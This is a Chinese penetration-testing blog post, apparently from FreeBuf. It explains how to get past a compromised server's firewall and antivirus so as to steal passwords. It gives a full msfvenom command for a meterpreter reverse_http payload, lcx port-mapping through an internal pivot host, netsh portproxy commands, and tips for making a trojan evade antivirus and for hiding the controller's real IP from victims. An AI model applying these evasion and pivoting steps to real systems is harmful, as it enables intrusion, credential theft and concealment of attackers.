有一次渗透中遇到了一个比较蛋疼的情况,有一台服务器我3389上去了但是上面有一个防火墙软件,有个特性:允许连接内网的请求,不能直接访问外网。我的目的是抓密码。然后我上传了/bind_tcp_bind_tcp,/reverse_tcp和_reverse_tcp都被杀了,然后上传mimikatz2.1也被杀了(wce getpass…),然后无奈试了下http居然没有被杀,但是httphttps只有reverse没有bind ,所以这种情况就可以使用一个映射来实现,拿一台能访问外网的内网服务器(10.10.0.2)做个映射(lcx –tran 50000 2.2.2.2 40000),然后用msfvenom生成一个攻击荷载

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.0.2 LPORT=50000 -f exe > temp.exe

注意meterpreter后面是”_ “这样可以少传输很多数据避免bug,具体的“/”“_”的区别参照书籍。这样就可以绕过对面的防火墙了(偷懒不画图了)

有些杀软有个特性会根据网络连接来拦截,只要是连接内网的就不会拦截,我之前种过一个木马,只不过远控是放在对面内网的一台服务器上面的,所以木马的连接ip是一个内网ip然后就能直接打开了木马没有做任何免杀就绕过了两个杀软。当然了如果你想让木马连接到你的电脑只需要把那个远控关了执行个映射就好了。这样就能上线到你的电脑上了。联想一下用这样的方法也可以让被控制的人查不到控制者的真实ip。把连接ip改为某个公网ip然后做个映射就好了。这样被控制的计算机上的ip显示的都是公网的(偷懒还是不画图了)

总结

Lcx可以用来渗透内网,也可以用来隐藏自己,还可以让不能访问外网的服务器访问外网,甚至可以用来绕过某些防火墙(杀软)

后记

1、 感谢能坚持从头看到尾的读者。

2、 希望刚入门的朋友可以多参照这篇文章使用lcx来进行内网渗透。

3、 在这要为这个东西正名,其全名是Socket data transporttool,而根据代码注释中[bkbll@mobile socket]$ gcc -o trtool trtool.c这一句,可以看到其原来的名字应该是trtool,而且是红盟的前辈bkbll所写,所谓的lcx.exe其实是lcx根据lion的代码所修改编译过的htran,所以这个工具其实不应该叫lcx,不过为了配合大家的习惯这么叫而已,可以看作是简化版本吧。

4、 后记第三条最后一个逗号之前的所有内容来自互联网。

5、 关于lcx的映射功能,windows自带的netsh也可以做到,但是需要管理员权限,有个优点重启之后还存在。相关命令(管理员权限)

    1 查看端口映射情况netsh interface portproxy show v4tov4

    2:添加一个端口映射netsh interface portproxy add v4tov4listenport=40050 connectaddress=192.168.1.10 connectport=50000

    3:删除一个端口映射netshinterface portproxy delete v4tov4 40050(监听端口号)

6、 高级篇讲的似乎不高级但是希望读者可以多思考。

7、关于图片中的英文,由于软件的问题,用中文有些问题所以用1级英语表达了一下……

8、写在最后可以让直奔评论区的人可以看到,很多人肯定会说在内网开个代理或者VPN,然后转发出来不就好了,对于这样的人我不想多说。

9、再次感谢能坚持从头看到尾的读者。

有兴趣的同学可以联系作者深入交流,QQ:351390754

*原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载